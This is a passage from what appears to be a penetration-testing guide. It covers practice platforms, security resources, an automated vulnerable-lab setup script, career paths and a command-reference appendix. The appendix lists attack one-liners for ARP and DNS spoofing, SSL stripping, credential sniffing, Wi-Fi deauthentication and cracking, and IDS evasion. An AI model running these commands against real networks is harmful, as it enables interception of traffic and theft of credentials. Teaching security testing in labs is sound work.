Network]\n           |                    |\n        [Web Server]       [Domain Controller]\n        [Mail Server]      [Workstations]\n                           [File Server]\n        '''\n    }\n    \n    return lab_components\n```\n\n### Practice Platforms\n\n**Online Practice Resources:**\n```python\ndef practice_platforms():\n    \"\"\"List online practice platforms\"\"\"\n    \n    platforms = {\n        'ctf_platforms': [\n            {\n                'name': 'HackTheBox',\n                'url': 'https://www.hackthebox.com',\n                'focus': 'Penetration testing challenges',\n                'difficulty': 'Beginner-Expert',\n                'cost': 'Free with paid options'\n            },\n            {\n                'name': 'TryHackMe',\n                'url': 'https://tryhackme.com',\n                'focus': 'Guided learning paths',\n                'difficulty': 'Beginner-Intermediate',\n                'cost': 'Free with paid options'\n            },\n            {\n                'name': 'VulnHub',\n                'url': 'https://www.vulnhub.com',\n                'focus': 'Vulnerable VM downloads',\n                'difficulty': 'Varies',\n                'cost': 'Free'\n            },\n            {\n                'name': 'PentesterLab',\n                'url': 'https://pentesterlab.com',\n                'focus': 'Web application security',\n                'difficulty': 'Intermediate',\n                'cost': 'Paid'\n            },\n            {\n                'name': 'PortSwigger Web Security Academy',\n                'url': 'https://portswigger.net/web-security',\n                'focus': 'Web application security',\n                'difficulty': 'Beginner-Advanced',\n                'cost': 'Free'\n            }\n        ],\n        \n        'network_specific': [\n            {\n                'name': 'INE',\n                'url': 'https://ine.com',\n                'focus': 'Network training and labs',\n                'difficulty': 'Beginner-Expert',\n                'cost': 'Paid'\n            },\n            {\n                'name': 'Cisco DevNet',\n                'url': 'https://developer.cisco.com',\n                'focus': 'Network automation and security',\n                'difficulty': 'Intermediate',\n                'cost': 'Free'\n            },\n            {\n                'name': 'Cloud Academy',\n                'url': 'https://cloudacademy.com',\n                'focus': 'Cloud networking',\n                'difficulty': 'Intermediate',\n                'cost': 'Paid'\n            }\n        ],\n        \n        'competitions': [\n            {\n                'name': 'DEF CON CTF',\n                'url': 'https://defcon.org',\n                'focus': 'Advanced CTF',\n                'frequency': 'Annual'\n            },\n            {\n                'name': 'BSides CTF',\n                'url': 'https://www.securitybsides.com',\n                'focus': 'Various CTFs',\n                'frequency': 'Multiple events'\n            },\n            {\n                'name': 'picoCTF',\n                'url': 'https://picoctf.org',\n                'focus': 'Educational CTF',\n                'frequency': 'Annual'\n            }\n        ]\n    }\n    \n    return platforms\n```\n\n## 10.3 Staying Current\n\n### Information Sources\n\n**Security News and Research:**\n```python\ndef security_resources():\n    \"\"\"List security news and research sources\"\"\"\n    \n    resources = {\n        'news_sites': [\n            {\n                'name': 'The Daily Swig',\n                'url': 'https://portswigger.net/daily-swig',\n                'focus': 'Security news'\n            },\n            {\n                'name': 'Krebs on Security',\n                'url': 'https://krebsonsecurity.com',\n                'focus': 'Security news and investigations'\n            },\n            {\n                'name': 'Schneier on Security',\n                'url': 'https://www.schneier.com',\n                'focus': 'Security commentary'\n            },\n            {\n                'name': 'Threatpost',\n                'url': 'https://threatpost.com',\n                'focus': 'Security news'\n            },\n            {\n                'name': 'Dark Reading',\n                'url': 'https://www.darkreading.com',\n                'focus': 'Security news'\n            },\n            {\n                'name': 'The Hacker News',\n                'url': 'https://thehackernews.com',\n                'focus': 'Security news'\n            }\n        ],\n        \n        'research_blogs': [\n            {\n                'name': 'Google Project Zero',\n                'url': 'https://googleprojectzero.blogspot.com',\n                'focus': 'Advanced vulnerability research'\n            },\n            {\n                'name': 'Microsoft Security Response Center',\n                'url': 'https://msrc-blog.microsoft.com',\n                'focus': 'Microsoft security'\n            },\n            {\n                'name': 'Cloudflare Blog',\n                'url': 'https://blog.cloudflare.com',\n                'focus': 'Network security and CDN'\n            },\n            {\n                'name': 'AWS Security Blog',\n                'url': 'https://aws.amazon.com/blogs/security',\n                'focus': 'Cloud security'\n            },\n            {\n                'name': 'SANS Internet Storm Center',\n                'url': 'https://isc.sans.edu',\n                'focus': 'Threat intelligence'\n            },\n            {\n                'name': 'Unit 42 (Palo Alto)',\n                'url': 'https://unit42.paloaltonetworks.com',\n                'focus': 'Threat research'\n            }\n        ],\n        \n        'vulnerability_databases': [\n            {\n                'name': 'CVE Details',\n                'url': 'https://www.cvedetails.com',\n                'focus': 'CVE search'\n            },\n            {\n                'name': 'NVD (National Vulnerability Database)',\n                'url': 'https://nvd.nist.gov',\n                'focus': 'Official CVE database'\n            },\n            {\n                'name': 'Exploit-DB',\n                'url': 'https://www.exploit-db.com',\n                'focus': 'Public exploits'\n            },\n            {\n                'name': 'Packet Storm',\n                'url': 'https://packetstormsecurity.com',\n                'focus': 'Security tools and papers'\n            },\n            {\n                'name': 'CXSECURITY',\n                'url': 'https://cxsecurity.com',\n                'focus': 'Vulnerability database'\n            }\n        ],\n        \n        'podcasts': [\n            {\n                'name': 'Security Now',\n                'focus': 'Security news and discussion'\n            },\n            {\n                'name': 'Darknet Diaries',\n                'focus': 'True stories from security world'\n            },\n            {\n                'name': 'Risky Business',\n                'focus': 'Security news and interviews'\n            },\n            {\n                'name': 'The CyberWire',\n                'focus': 'Daily security news'\n            },\n            {\n                'name': 'Hacking Humans',\n                'focus': 'Social engineering'\n            }\n        ],\n        \n        'youtube_channels': [\n            {\n                'name': 'IppSec',\n                'focus': 'HackTheBox walkthroughs'\n            },\n            {\n                'name': 'The Cyber Mentor',\n                'focus': 'Penetration testing tutorials'\n            },\n            {\n                'name': 'ST\u00d6K',\n                'focus': 'Bug bounty hunting'\n            },\n            {\n                'name': 'John Hammond',\n                'focus': 'CTF and malware analysis'\n            },\n            {\n                'name': 'LiveOverflow',\n                'focus': 'Advanced security concepts'\n            }\n        ],\n        \n        'conferences': [\n            {\n                'name': 'DEF CON',\n                'url': 'https://defcon.org',\n                'focus': 'Largest hacking conference'\n            },\n            {\n                'name': 'Black Hat',\n                'url': 'https://www.blackhat.com',\n                'focus': 'Professional security conference'\n            },\n            {\n                'name': 'BSides',\n                'url': 'https://www.securitybsides.com',\n                'focus': 'Community security events'\n            },\n            {\n                'name': 'RSA Conference',\n                'url': 'https://www.rsaconference.com',\n                'focus': 'Enterprise security'\n            },\n            {\n                'name': 'ShmooCon',\n                'url': 'https://shmoocon.org',\n                'focus': 'Hacking conference'\n            }\n        ]\n    }\n    \n    return resources\n```\n\n### Community Engagement\n\n**Security Communities:**\n```python\ndef security_communities():\n    \"\"\"List security communities and forums\"\"\"\n    \n    communities = {\n        'reddit': [\n            'r/netsec',\n            'r/AskNetsec',\n            'r/cybersecurity',\n            'r/hacking',\n            'r/netsecstudents',\n            'r/bugbounty',\n            'r/HowToHack',\n            'r/securityCTF'\n        ],\n        \n        'discord_servers': [\n            {\n                'name': 'The Cyber Mentor',\n                'focus': 'Penetration testing'\n            },\n            {\n                'name': 'NahamSec',\n                'focus': 'Bug bounty'\n            },\n            {\n                'name': 'HackTheBox',\n                'focus': 'CTF and hacking'\n            },\n            {\n                'name': 'TryHackMe',\n                'focus': 'Learning security'\n            },\n            {\n                'name': 'InfoSec Community',\n                'focus': 'General security'\n            }\n        ],\n        \n        'forums': [\n            {\n                'name': 'Hack Forums',\n                'url': 'https://hackforums.net',\n                'focus': 'General hacking'\n            },\n            {\n                'name': '0x00sec',\n                'url': 'https://0x00sec.org',\n                'focus': 'Security research'\n            },\n            {\n                'name': 'Pentester Academy',\n                'url': 'https://forums.pentesteracademy.com',\n                'focus': 'Learning'\n            },\n            {\n                'name': 'Stack Overflow - Information Security',\n                'url': 'https://security.stackexchange.com',\n                'focus': 'Q&A'\n            }\n        ],\n        \n        'slack_groups': [\n            {\n                'name': 'OWASP Slack',\n                'focus': 'Web application security'\n            },\n            {\n                'name': 'InfoSec Professionals',\n                'focus': 'General security'\n            },\n            {\n                'name': 'Security Weekly',\n                'focus': 'Security news'\n            }\n        ],\n        \n        'twitter_follows': [\n            '@thecybermentor',\n            '@NahamSec',\n            '@ippsec',\n            '@STOKfredrik',\n            '@troyhunt',\n            '@mikeprivette',\n            '@gynvael',\n            '@SwiftOnSecurity',\n            '@malwareunicorn',\n            '@hacks4pancakes'\n        ]\n    }\n    \n    return communities\n```\n\n## 10.4 Building Your Own Lab\n\n### Automated Lab Setup\n\n**Lab Automation Script:**\n```python\n#!/usr/bin/env python3\n\"\"\"\nAutomated penetration testing lab setup\n\"\"\"\nimport subprocess\nimport os\nimport json\nimport time\n\nclass PenTestLab:\n    def __init__(self, config_file):\n        with open(config_file, 'r') as f:\n            self.config = json.load(f)\n        \n        self.lab_dir = self.config.get('lab_dir', './pentest_lab')\n        os.makedirs(self.lab_dir, exist_ok=True)\n    \n    def install_prerequisites(self):\n        \"\"\"Install required packages\"\"\"\n        print(\"[*] Installing prerequisites...\")\n        \n        packages = [\n            'python3-pip',\n            'git',\n            'wget',\n            'curl',\n            'docker.io',\n            'docker-compose',\n            'virtualbox',\n            'vagrant'\n        ]\n        \n        subprocess.run(['sudo', 'apt', 'update'])\n        subprocess.run(['sudo', 'apt', 'install', '-y'] + packages)\n        \n        # Install Python packages\n        python_packages = [\n            'scapy',\n            'requests',\n            'paramiko',\n            'python-nmap',\n            'dnspython',\n            'netifaces'\n        ]\n        \n        subprocess.run(['pip3', 'install'] + python_packages)\n        \n        print(\"[+] Prerequisites installed\")\n    \n    def setup_docker_lab(self):\n        \"\"\"Set up Docker-based lab environment\"\"\"\n        print(\"[*] Setting up Docker lab...\")\n        \n        docker_compose = \"\"\"\nversion: '3'\nservices:\n  dvwa:\n    image: vulnerables/web-dvwa\n    ports:\n      - \"8080:80\"\n    networks:\n      - lab_net\n  \n  webgoat:\n    image: webgoat/goatandwolf\n    ports:\n      - \"8081:8080\"\n    networks:\n      - lab_net\n  \n  metasploitable:\n    image: tleemcjr/metasploitable2\n    ports:\n      - \"2222:22\"\n      - \"8082:80\"\n    networks:\n      - lab_net\n  \n  juice-shop:\n    image: bkimminich/juice-shop\n    ports:\n      - \"3000:3000\"\n    networks:\n      - lab_net\n\nnetworks:\n  lab_net:\n    driver: bridge\n\"\"\"\n        \n        with open(f\"{self.lab_dir}/docker-compose.yml\", 'w') as f:\n            f.write(docker_compose)\n        \n        subprocess.run(['docker-compose', '-f', f\"{self.lab_dir}/docker-compose.yml\", 'up', '-d'])\n        \n        print(\"[+] Docker lab started\")\n    \n    def setup_vagrant_lab(self):\n        \"\"\"Set up Vagrant-based lab environment\"\"\"\n        print(\"[*] Setting up Vagrant lab...\")\n        \n        vagrantfile = \"\"\"\nVagrant.configure(\"2\") do |config|\n  # Kali Linux (attack machine)\n  config.vm.define \"kali\" do |kali|\n    kali.vm.box = \"kalilinux/rolling\"\n    kali.vm.network \"private_network\", type: \"dhcp\"\n    kali.vm.provider \"virtualbox\" do |vb|\n      vb.memory = \"4096\"\n      vb.cpus = 2\n    end\n  end\n  \n  # Metasploitable (target)\n  config.vm.define \"metasploitable\" do |msf|\n    msf.vm.box = \"rapid7/metasploitable3-ub1404\"\n    msf.vm.network \"private_network\", type: \"dhcp\"\n    msf.vm.provider \"virtualbox\" do |vb|\n      vb.memory = \"1024\"\n      vb.cpus = 1\n    end\n  end\n  \n  # Windows target\n  config.vm.define \"windows\" do |win|\n    win.vm.box = \"rapid7/metasploitable3-win2k8\"\n    win.vm.network \"private_network\", type: \"dhcp\"\n    win.vm.provider \"virtualbox\" do |vb|\n      vb.memory = \"2048\"\n      vb.cpus = 2\n    end\n  end\n  \n  # pfSense firewall\n  config.vm.define \"pfsense\" do |pf|\n    pf.vm.box = \"pfsense/pfsense-2.4.4-RELEASE\"\n    pf.vm.network \"private_network\", type: \"dhcp\"\n    pf.vm.provider \"virtualbox\" do |vb|\n      vb.memory = \"512\"\n      vb.cpus = 1\n    end\n  end\nend\n\"\"\"\n        \n        with open(f\"{self.lab_dir}/Vagrantfile\", 'w') as f:\n            f.write(vagrantfile)\n        \n        subprocess.run(['vagrant', 'up'], cwd=self.lab_dir)\n        \n        print(\"[+] Vagrant lab started\")\n    \n    def setup_network(self):\n        \"\"\"Configure lab network\"\"\"\n        print(\"[*] Setting up lab network...\")\n        \n        # Create virtual network\n        subprocess.run([\n            'sudo', 'ip', 'link', 'add', 'name', 'lab-bridge',\n            'type', 'bridge'\n        ])\n        \n        subprocess.run([\n            'sudo', 'ip', 'addr', 'add', '192.168.100.1/24',\n            'dev', 'lab-bridge'\n        ])\n        \n        subprocess.run(['sudo', 'ip', 'link', 'set', 'lab-bridge', 'up'])\n        \n        print(\"[+] Lab network configured\")\n    \n    def setup_tools(self):\n        \"\"\"Install additional security tools\"\"\"\n        print(\"[*] Installing security tools...\")\n        \n        tools = [\n            # Clone popular security tools\n            ('git', 'clone', 'https://github.com/danielmiessler/SecLists.git'),\n            ('git', 'clone', 'https://github.com/aboul3la/Sublist3r.git'),\n            ('git', 'clone', 'https://github.com/OWASP/Amass.git'),\n            ('git', 'clone', 'https://github.com/projectdiscovery/nuclei.git'),\n            ('git', 'clone', 'https://github.com/sqlmapproject/sqlmap.git'),\n        ]\n        \n        for tool in tools:\n            try:\n                subprocess.run(tool, cwd=self.lab_dir)\n            except:\n                pass\n        \n        print(\"[+] Tools installed\")\n    \n    def run(self):\n        \"\"\"Execute full lab setup\"\"\"\n        print(\"=== Starting Penetration Testing Lab Setup ===\")\n        \n        self.install_prerequisites()\n        self.setup_network()\n        self.setup_docker_lab()\n        self.setup_vagrant_lab()\n        self.setup_tools()\n        \n        print(\"\\n=== Lab Setup Complete ===\")\n        print(f\"Lab directory: {self.lab_dir}\")\n        print(\"Services started:\")\n        print(\"  - DVWA: http://localhost:8080\")\n        print(\"  - WebGoat: http://localhost:8081\")\n        print(\"  - Metasploitable2: http://localhost:8082\")\n        print(\"  - Juice Shop: http://localhost:3000\")\n        print(\"\\nVagrant VMs: run 'vagrant status' in lab directory\")\n\nif __name__ == \"__main__\":\n    import argparse\n    parser = argparse.ArgumentParser(description=\"Pentest Lab Setup\")\n    parser.add_argument(\"-c\", \"--config\", default=\"lab_config.json\", help=\"Config file\")\n    args = parser.parse_args()\n    \n    lab = PenTestLab(args.config)\n    lab.run()\n```\n\n## 10.5 Contributing to the Community\n\n### Open Source Contributions\n\n**Contribution Opportunities:**\n```python\ndef contribution_guide():\n    \"\"\"Guide to contributing to security community\"\"\"\n    \n    opportunities = {\n        'tools_development': [\n            {\n                'name': 'Nmap',\n                'url': 'https://github.com/nmap/nmap',\n                'skills': 'C, Lua',\n                'how_to': 'Add new scripts, fix bugs, improve documentation'\n            },\n            {\n                'name': 'Metasploit',\n                'url': 'https://github.com/rapid7/metasploit-framework',\n                'skills': 'Ruby',\n                'how_to': 'Add new modules, improve existing ones, write documentation'\n            },\n            {\n                'name': 'Wireshark',\n                'url': 'https://github.com/wireshark/wireshark',\n                'skills': 'C, Lua',\n                'how_to': 'Add dissectors, fix bugs, improve UI'\n            },\n            {\n                'name': 'Burp Suite Extensions',\n                'url': 'https://github.com/PortSwigger',\n                'skills': 'Java, Python',\n                'how_to': 'Create BApp extensions for specific testing needs'\n            },\n            {\n                'name': 'OWASP Projects',\n                'url': 'https://github.com/OWASP',\n                'skills': 'Varies',\n                'how_to': 'Contribute to various security tools and documentation'\n            }\n        ],\n        \n        'documentation': [\n            {\n                'name': 'OWASP Cheat Sheets',\n                'url': 'https://github.com/OWASP/CheatSheetSeries',\n                'skills': 'Technical writing',\n                'how_to': 'Write or update security cheat sheets'\n            },\n            {\n                'name': 'Exploit-DB',\n                'url': 'https://github.com/offensive-security/exploitdb',\n                'skills': 'Research',\n                'how_to': 'Submit new exploits or update existing ones'\n            },\n            {\n                'name': 'SecLists',\n                'url': 'https://github.com/danielmiessler/SecLists',\n                'skills': 'Wordlist creation',\n                'how_to': 'Add new wordlists for specific testing scenarios'\n            }\n        ],\n        \n        'research_sharing': [\n            {\n                'name': 'Write blog posts',\n                'platforms': ['Medium', 'Dev.to', 'Personal blog'],\n                'topics': ['New techniques', 'Tool tutorials', 'Case studies']\n            },\n            {\n                'name': 'Present at conferences',\n                'events': ['BSides', 'DEF CON groups', 'Local meetups'],\n                'topics': ['Research findings', 'Novel attacks', 'Defense strategies']\n            },\n            {\n                'name': 'Create video content',\n                'platforms': ['YouTube', 'Twitch'],\n                'content': ['Walkthroughs', 'Tutorials', 'Live hacking']\n            }\n        ],\n        \n        'community_support': [\n            {\n                'name': 'Answer questions',\n                'platforms': ['Stack Overflow', 'Reddit', 'Discord'],\n                'help_with': ['Troubleshooting', 'Learning guidance', 'Tool usage']\n            },\n            {\n                'name': 'Mentor beginners',\n                'platforms': ['Local meetups', 'Online communities'],\n                'activities': ['Code reviews', 'Career advice', 'Technical guidance']\n            },\n            {\n                'name': 'Report vulnerabilities',\n                'programs': ['Bug bounty', 'Responsible disclosure'],\n                'best_practices': ['Clear reporting', 'Proof of concept', 'Remediation help']\n            }\n        ]\n    }\n    \n    return opportunities\n```\n\n## 10.6 Specialization Paths\n\n### Career Specialization Options\n\n**Specialization Paths:**\n```python\ndef specialization_paths():\n    \"\"\"Map out security specialization paths\"\"\"\n    \n    paths = {\n        'network_security': {\n            'focus': 'Network infrastructure security',\n            'roles': [\n                'Network Security Engineer',\n                'Network Penetration Tester',\n                'Firewall Administrator',\n                'Network Architect'\n            ],\n            'skills': [\n                'TCP/IP deep understanding',\n                'Routing protocols',\n                'Firewall configuration',\n                'IDS/IPS deployment',\n                'Network segmentation',\n                'VPN technologies'\n            ],\n            'certifications': [\n                'CCNP Security',\n                'Cisco CCIE Security',\n                'CompTIA Network+',\n                'GIAC GCIA'\n            ],\n            'tools': [\n                'Wireshark',\n                'Nmap',\n                'GNS3/EVE-NG',\n                'pfSense',\n                'Snort/Suricata'\n            ]\n        },\n        \n        'web_application_security': {\n            'focus': 'Web application and API security',\n            'roles': [\n                'Web Application Penetration Tester',\n                'Application Security Engineer',\n                'Bug Bounty Hunter',\n                'DevSecOps Engineer'\n            ],\n            'skills': [\n                'HTTP/HTTPS deep understanding',\n                'Web vulnerabilities (OWASP Top 10)',\n                'Authentication mechanisms',\n                'API security',\n                'JavaScript/Node.js',\n                'Cloud security'\n            ],\n            'certifications': [\n                'OSCP',\n                'OSWE',\n                'GWAPT',\n                'eWPT'\n            ],\n            'tools': [\n                'Burp Suite',\n                'OWASP ZAP',\n                'SQLMap',\n                'Nuclei',\n                'FFUF'\n            ]\n        },\n        \n        'cloud_security': {\n            'focus': 'Cloud infrastructure security',\n            'roles': [\n                'Cloud Security Engineer',\n                'Cloud Penetration Tester',\n                'DevSecOps Engineer',\n                'Cloud Architect'\n            ],\n            'skills': [\n                'AWS/Azure/GCP services',\n                'Infrastructure as Code',\n                'Container security',\n                'Kubernetes security',\n                'Serverless security',\n                'IAM policies'\n            ],\n            'certifications': [\n                'AWS Security Specialty',\n                'CCSP',\n                'Certified Kubernetes Security Specialist',\n                'Azure Security Engineer'\n            ],\n            'tools': [\n                'ScoutSuite',\n                'Prowler',\n                'kube-hunter',\n                'Trivy',\n                'CloudSploit'\n            ]\n        },\n        \n        'industrial_security': {\n            'focus': 'OT/ICS/IoT security',\n            'roles': [\n                'ICS Security Engineer',\n                'OT Penetration Tester',\n                'SCADA Security Specialist',\n                'IoT Security Researcher'\n            ],\n            'skills': [\n                'Industrial protocols (Modbus, DNP3, PROFINET)',\n                'PLC programming',\n                'SCADA systems',\n                'Embedded systems',\n                'Radio communications'\n            ],\n            'certifications': [\n                'GICSP',\n                'GRID',\n                'CSSA'\n            ],\n            'tools': [\n                'Modbus tools',\n                'S7Comm tools',\n                'GRASSMARLIN',\n                'Shodan',\n                'Firmware analysis tools'\n            ]\n        },\n        \n        'red_team_operations': {\n            'focus': 'Advanced adversarial simulation',\n            'roles': [\n                'Red Team Operator',\n                'Adversary Simulation Specialist',\n                'Threat Hunter',\n                'Purple Team Engineer'\n            ],\n            'skills': [\n                'Advanced evasion techniques',\n                'C2 infrastructure',\n                'Lateral movement',\n                'Persistence mechanisms',\n                'Operational security',\n                'Reporting and communication'\n            ],\n            'certifications': [\n                'OSCP/OSCE/OSEP',\n                'CREST',\n                'GXPN',\n                'PenTest+'\n            ],\n            'tools': [\n                'Cobalt Strike',\n                'Empire',\n                'Metasploit',\n                'BloodHound',\n                'Mimikatz'\n            ]\n        }\n    }\n    \n    return paths\n```\n\n## 10.7 Career Progression in Network Security\n\n### Career Roadmap\n\n**Career Progression:**\n```python\ndef career_roadmap():\n    \"\"\"Map out career progression in network security\"\"\"\n    \n    roadmap = {\n        'entry_level': {\n            'roles': [\n                'Security Analyst',\n                'Network Administrator',\n                'IT Support Specialist',\n                'Junior Penetration Tester'\n            ],\n            'skills': [\n                'Basic networking concepts',\n                'Operating systems',\n                'Security fundamentals',\n                'Scripting basics'\n            ],\n            'certifications': [\n                'CompTIA Network+',\n                'CompTIA Security+',\n                'Cisco CCNA'\n            ],\n            'experience': '0-2 years',\n            'salary_range': '$50,000 - $80,000'\n        },\n        \n        'mid_level': {\n            'roles': [\n                'Penetration Tester',\n                'Security Engineer',\n                'Network Security Analyst',\n                'Vulnerability Assessor'\n            ],\n            'skills': [\n                'Advanced networking',\n                'Penetration testing methodology',\n                'Tool development',\n                'Report writing'\n            ],\n            'certifications': [\n                'OSCP',\n                'GPEN',\n                'CISSP',\n                'CEH'\n            ],\n            'experience': '2-5 years',\n            'salary_range': '$80,000 - $120,000'\n        },\n        \n        'senior_level': {\n            'roles': [\n                'Senior Penetration Tester',\n                'Security Consultant',\n                'Security Architect',\n                'Red Team Lead'\n            ],\n            'skills': [\n                'Advanced exploitation',\n                'Team leadership',\n                'Client management',\n                'Security program development'\n            ],\n            'certifications': [\n                'OSCE',\n                'GXPN',\n                'CISM',\n                'SANS SEC660'\n            ],\n            'experience': '5-8 years',\n            'salary_range': '$120,000 - $160,000'\n        },\n        \n        'expert_level': {\n            'roles': [\n                'Principal Security Consultant',\n                'Security Researcher',\n                'CISO',\n                'Security Director'\n            ],\n            'skills': [\n                'Thought leadership',\n                'Strategic planning',\n                'Business alignment',\n                'Advanced research'\n            ],\n            'certifications': [\n                'CISSP-ISSAP',\n                'CCISO',\n                'CISM',\n                'PhD/Master degree often valuable'\n            ],\n            'experience': '8+ years',\n            'salary_range': '$160,000 - $250,000+'\n        }\n    }\n    \n    return roadmap\n```\n\n---\n\n# Conclusion: The Art of Network Penetration Testing\n\nNetwork security for web penetration testing is both a science and an art. The science involves understanding protocols, mastering tools, and following methodologies. The art comes from creative thinking, chaining vulnerabilities, and seeing connections others miss.\n\nThe most successful penetration testers and bug bounty hunters combine deep technical knowledge with persistence and creativity. They understand that networks are living systems, constantly evolving with new technologies and new vulnerabilities. They stay curious, continuously learning and adapting.\n\nRemember that with great power comes great responsibility. The skills you've learned in this guide can protect systems or compromise them. Always use them ethically, with proper authorization, and for the purpose of making the digital world more secure.\n\nThe journey to becoming an expert network penetration tester never truly ends. Every network is different, every assessment brings new challenges, and every day brings new vulnerabilities to discover and understand. Embrace the journey, stay ethical, and keep learning.\n\n---\n\n# Appendices\n\n## Appendix A: Comprehensive Command Reference\n\n### Network Reconnaissance Commands\n\n```bash\n# DNS Enumeration\ndig any target.com\nnslookup -type=any target.com\nhost -t any target.com\ndnsrecon -d target.com -t std,brt\ndnsenum target.com\nfierce --domain target.com\n\n# Subdomain Discovery\nsubfinder -d target.com -all\namass enum -d target.com\nassetfinder --subs-only target.com\nfindomain -t target.com\n\n# Port Scanning\nnmap -sS -sV -p- -T4 target.com\nmasscan -p1-65535 --rate=1000 target.com\nrustscan -a target.com -- -sV\nnaabu -host target.com\n\n# Service Enumeration\nnmap -sV --version-intensity 9 -p 80,443,22,21,25 target.com\nnc -nv target.com 80 < /dev/null\ntelnet target.com 80\nopenssl s_client -connect target.com:443\n\n# Web Enumeration\nwhatweb target.com\nwappalyzer https://target.com\nnikto -h https://target.com\ngobuster dir -u https://target.com -w wordlist.txt\nffuf -u https://target.com/FUZZ -w wordlist.txt\n\n# SNMP Enumeration\nsnmpwalk -v2c -c public target.com\nsnmpcheck -t target.com -c public\nonesixtyone -c community.txt -i hosts.txt\n\n# SMB Enumeration\nsmbclient -L //target.com -N\nenum4linux -a target.com\ncrackmapexec smb target.com\nnbtscan target.com/24\n```\n\n### Network Attack Commands\n\n```bash\n# ARP Spoofing\narpspoof -i eth0 -t target gateway\nettercap -T -M arp:remote /target// /gateway//\nbettercap -eval \"set arp.spoof.targets target; arp.spoof on; net.sniff on\"\n\n# DNS Spoofing\nettercap -T -M arp -P dns_spoof /target// /gateway//\nbettercap -eval \"set dns.spoof.domains target.com; dns.spoof on\"\n\n# SSL Stripping\nsslstrip -l 8080\niptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080\n\n# Session Hijacking\nferret -i eth0\nhamster\nurlsnarf -i eth0\ndsniff -i eth0\n\n# Password Sniffing\ndsniff -i eth0\nmsgsnarf -i eth0\ntcpdump -i eth0 -A -s 0 'tcp port 80'\n\n# Wireless Attacks\nairodump-ng wlan0\naireplay-ng -0 10 -a AP_MAC -c CLIENT_MAC wlan0\naircrack-ng -w wordlist.txt capture.cap\nwifite\n```\n\n### Traffic Analysis Commands\n\n```bash\n# Packet Capture\ntcpdump -i eth0 -w capture.pcap\ntcpdump -i eth0 -s 0 -A 'tcp port 80'\ntshark -i eth0 -w capture.pcap\ntshark -r capture.pcap -Y \"http.request\"\n\n# Traffic Analysis\nwireshark capture.pcap\ntshark -r capture.pcap -z io,phs -q\ntshark -r capture.pcap -z conv,ip -q\ntcpflow -r capture.pcap\n\n# Network Statistics\niptraf-ng\nnethogs\niftop\nbmon\n```\n\n### Firewall/IDS Evasion Commands\n\n```bash\n# Fragment Scanning\nnmap -f -sS target.com\nnmap --mtu 24 -sS target.com\n\n# Decoy Scanning\nnmap -D RND:10,ME target.com\n\n# Source Port Manipulation\nnmap -g 53 -sS target.com\nhping3 -S -p 80 -s 53 target.com\n\n# Timing Evasion\nnmap -T0 -sS target.com\nnmap --scan-delay 1s target.com\n```\n\n## Appendix B: Port Numbers and Service Mapping\n\n### Common TCP Ports\n\n| Port | Service | Protocol | Description |\n|------|---------|----------|-------------|\n| 20 | FTP-data | TCP | File Transfer Protocol data |\n| 21 | FTP | TCP | File Transfer Protocol control |\n| 22 | SSH | TCP | Secure Shell |\n| 23 | Telnet | TCP | Telnet (unencrypted) |\n| 25 | SMTP | TCP | Simple Mail Transfer Protocol |\n| 53 | DNS | TCP/UDP | Domain Name System |\n| 80 | HTTP | TCP | Hypertext Transfer Protocol |\n| 110 | POP3 | TCP | Post Office Protocol v3 |\n| 111 | RPC | TCP/UDP | Remote Procedure Call |\n| 135 | RPC | TCP/UDP | Microsoft RPC |\n| 137 | NetBIOS | UDP | NetBIOS Name Service |\n| 138 | NetBIOS | UDP | NetBIOS Datagram Service |\n| 139 | NetBIOS | TCP | NetBIOS Session Service |\n| 143 | IMAP | TCP | Internet Message Access Protocol |\n| 161 | SNMP | UDP | Simple Network Management Protocol |\n| 162 | SNMP-trap | UDP | SNMP Traps |\n| 389 | LDAP | TCP | Lightweight Directory Access Protocol |\n| 443 | HTTPS | TCP | HTTP over SSL/TLS |\n| 445 | SMB | TCP | Server Message Block |\n| 465 | SMTPS | TCP | SMTP over SSL |\n| 500 | ISAKMP | UDP | Internet Security Association Key Management Protocol |\n| 514 | Syslog | UDP | System Logging |\n| 520 | RIP | UDP | Routing Information Protocol |\n| 587 | SMTP | TCP | SMTP (submission) |\n| 631 | IPP | TCP | Internet Printing Protocol |\n| 636 | LDAPS | TCP | LDAP over SSL |\n| 873 | Rsync | TCP | Rsync file sync |\n| 993 | IMAPS | TCP | IMAP over SSL |\n| 995 | POP3S | TCP | POP3 over SSL |\n| 1080 | SOCKS | TCP | SOCKS proxy |\n| 1194 | OpenVPN | UDP | OpenVPN |\n| 1433 | MSSQL | TCP | Microsoft SQL Server |\n| 1434 | MSSQL | UDP | Microsoft SQL Monitor |\n| 1521 | Oracle | TCP | Oracle Database |\n| 1701 | L2TP | UDP | Layer 2 Tunneling Protocol |\n| 1723 | PPTP | TCP | Point-to-Point Tunneling Protocol |\n| 1883 | MQTT | TCP | MQTT (IoT) |\n| 2049 | NFS | TCP/UDP | Network File System |\n| 2082 | cPanel | TCP | cPanel default |\n| 2083 | cPanel SSL | TCP | cPanel over SSL |\n| 2086 | WHM | TCP | Web Host Manager |\n| 2087 | WHM SSL | TCP | WHM over SSL |\n| 2181 | ZooKeeper | TCP | Apache ZooKeeper |\n| 2375 | Docker | TCP | Docker REST API (unencrypted) |\n| 2376 | Docker | TCP | Docker REST API (encrypted) |\n| 3128 | Squid | TCP | Squid proxy |\n| 3306 | MySQL | TCP | MySQL Database |\n| 3389 | RDP | TCP | Remote Desktop Protocol |\n| 3690 | SVN | TCP | Subversion |\n| 4369 | Erlang | TCP | Erlang Port Mapper |\n| 4444 | Metasploit | TCP | Metasploit default listener |\n| 4500 | IPSec | UDP | IPSec NAT-T |\n| 4560 | Logstash | TCP | Logstash |\n| 4567 | Sinatra | TCP | Sinatra default |\n| 4569 | IAX2 | UDP | Asterisk IAX2 |\n| 5000 | Flask | TCP | Flask development server |\n| 5001 | Synology | TCP | Synology DSM |\n| 5003 | FileMaker | TCP | FileMaker |\n| 5038 | Asterisk | TCP | Asterisk Manager |\n| 5040 | OSSEC | TCP | OSSEC |\n| 5050 | MMCC | TCP | Multimedia Conference Control |\n| 5060 | SIP | UDP | Session Initiation Protocol |\n| 5061 | SIP-TLS | TCP | SIP over TLS |\n| 5147 | OTRS | TCP | OTRS |\n| 5151 | ESXi | TCP | VMware ESXi |\n| 5222 | XMPP | TCP | XMPP Client |\n| 5223 | XMPP | TCP | XMPP Client SSL |\n| 5269 | XMPP | TCP | XMPP Server |\n| 5432 | PostgreSQL | TCP | PostgreSQL Database |\n| 5500 | VNC | TCP | VNC Listener |\n| 5555 | ADB | TCP | Android Debug Bridge |\n| 5601 | Kibana | TCP | 